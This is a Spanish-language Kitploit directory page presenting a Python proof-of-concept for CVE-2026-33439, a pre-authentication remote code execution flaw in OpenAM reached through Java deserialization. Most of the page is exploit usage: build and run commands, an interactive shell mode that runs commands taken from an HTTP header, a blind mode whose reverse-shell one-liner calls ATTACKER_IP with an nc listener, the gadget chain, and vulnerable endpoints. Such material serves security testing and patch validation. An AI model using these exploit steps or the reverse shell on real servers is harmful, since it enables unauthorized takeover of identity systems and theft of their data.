Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-33439-PoC — PoC en Python que explota CVE-2026-33439, un RCE pre-auth en OpenAM mediante deserialización Java del parámetro jato.clientSession, con modos de shell interactivo y ciego. | Kitploit
Herramientas/GitHubGitHub/jonaschen0103/cve-2026-33439-poc
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónRed TeamingHerramienta de Acceso Remoto
GitHubjonaschen0103/cve-2026-33439-poc

CVE-2026-33439-PoC

PoC en Python que explota CVE-2026-33439, un RCE pre-auth en OpenAM mediante deserialización Java del parámetro jato.clientSession, con modos de shell interactivo y ciego.

Ver Repositorio
hace 4h 48mAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-33439 — RCE Pre-Auth en OpenAM

Ejecución Remota de Código pre-autenticación en OpenIdentityPlatform OpenAM <= 16.0.5 mediante deserialización insegura de Java del parámetro jato.clientSession (CVSS 9.8).

Solo para pruebas de seguridad autorizadas.

Inicio Rápido

root@kitploit:~
# 1. Build payload (downloads JARs from Maven Central + compiles gadget chain)
python build.py

# 2. Exploit — interactive shell (output returned in HTTP response)
python exploit.py --url https://target/openam/ui/PWResetUserValidation --shell

Requisitos

  • Python 3.10+ (solo stdlib, sin pip install)
  • JDK 21 (para build.py — debe coincidir con la versión de JVM del servidor objetivo; JDK 25 produce objetos serializados incompatibles)

Dos Modos

Modo Interactivo (predeterminado) — salida en la respuesta HTTP

El EvilTranslet lee el encabezado HTTP cmd de la solicitud, lo ejecuta y escribe stdout directamente en la respuesta HTTP. No se necesita listener.

root@kitploit:~
# Build interactive payload (no --command flag)
python build.py

# Single command
python exploit.py --url https://target/openam/ui/PWResetUserValidation "whoami"

# Interactive pseudo-shell
python exploit.py --url https://target/openam/ui/PWResetUserValidation --shell

# Auto-detect endpoint from base URL
python exploit.py --url https://target/openam/ --probe --shell

Modo Ciego — para reverse shells / OOB

El comando está incrustado en el bytecode del EvilTranslet. No se devuelve salida; use un listener (nc, etc.) para capturar las llamadas de retorno.

root@kitploit:~
# Build blind payload with reverse shell command
python build.py --command "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

# Terminal 1: listener
nc -lvnp 4444

# Terminal 2: deliver to all JATO endpoints
python exploit.py --url https://target/openam/ --all

Todas las Opciones

build.py

FlagDescripción
(sin flags)Construir payload interactivo (lee el encabezado cmd en tiempo de ejecución)
--command "CMD"Construir payload ciego con CMD incrustado en el bytecode
--jars DIRUsar directorio local de JARs en lugar de descargar (predeterminado: ./libs)
--download-onlySolo descargar JARs, no compilar

exploit.py

FlagDescripción
--url URLURL objetivo (requerido) — endpoint completo o URL base con --probe/--all
--shellPseudo-shell interactivo (modo interactivo)
--probeAuto-detectar endpoint vulnerable desde la URL base
--allEntregar payload a TODOS los endpoints JATO (modo ciego)
--method GET|POSTMétodo de entrega HTTP (predeterminado: GET)
--proxy URLProxy HTTP (ej. http://127.0.0.1:8080 para Burp)
--timeout SECSTiempo de espera de la solicitud (predeterminado: 15)
--verify-tlsHabilitar verificación de certificado TLS
--debugMostrar detalles de solicitud/respuesta

Transparencia del Payload

Todo el código fuente está en el repositorio — sin blobs opacos. Las fuentes Java están incrustadas en build.py como constantes de cadena legibles. Después de compilar, verifique la salida:

root@kitploit:~
python verify.py              # summary: classes, integrity, red-flag scan
python verify.py --strings    # all printable strings in the payload
python verify.py --hexdump    # full hex dump
python verify.py --dump p.bin # export raw bytes for SerializationDumper / javap

Cadena de Gadgets

root@kitploit:~
PriorityQueue.readObject()
  -> heapify() -> Column$ColumnComparator.compare()
    -> Column.getTable().isSortedAscending()
    -> Column.getProperty() -> PropertyUtils.getObjectPropertyValue()
      -> TemplatesImpl.getOutputProperties()
        -> defineTransletClasses() -> newInstance()
          -> EvilTranslet.<clinit>()  // command executes here

EvilTranslet (modo interactivo)

  1. Thread.currentThread().getContextClassLoader().loadClass("com.iplanet.jato.RequestManager") — obtener la solicitud/respuesta HTTP a través del classloader de la webapp
  2. request.getHeader("cmd") — leer el comando
  3. new ProcessBuilder("/bin/sh", "-c", cmd) — ejecutar
  4. response.reset() — limpiar cualquier salida JSP previa
  5. Escribir stdout en la respuesta como text/plain, luego cerrar el flujo de salida

EvilTranslet (modo ciego)

  1. Runtime.getRuntime().exec(new String[]{"bash", "-c", "<baked-in command>"}) — disparar y olvidar

Endpoints Vulnerables

Cualquier endpoint JATO ViewBean que renderice etiquetas <jato:form>, accesible pre-autenticación:

EndpointNotas
/openam/ui/PWResetUserValidationRestablecimiento de contraseña (más confiable)
/openam/ui/PWResetQuestionPreguntas de seguridad para restablecimiento de contraseña
/openam/ui/LoginPágina de inicio de sesión

Solución de Problemas

SíntomaCausaSolución
Se devuelve página HTML en lugar de la salida del comandoJSP sobrescribe la respuestaUse --shell con payload interactivo; o cambie al modo ciego
La deserialización no se activaIncompatibilidad de versión de JDKRecompile con JDK 21: export JAVA_HOME=/path/to/jdk-21
Tiempo de espera de handshake TLSEl servidor requiere nombre de host SNIAgregue el objetivo a /etc/hosts y use el nombre de host, no la IP
javac no encontradoJDK no instaladoapt install openjdk-21-jdk

Referencias

  • NVD — CVE-2026-33439
  • OpenAM Advisory GHSA-2cqq-rpvq-g5qj
  • Broadcom Protection Bulletin

Licencia

MIT

Descargar herramienta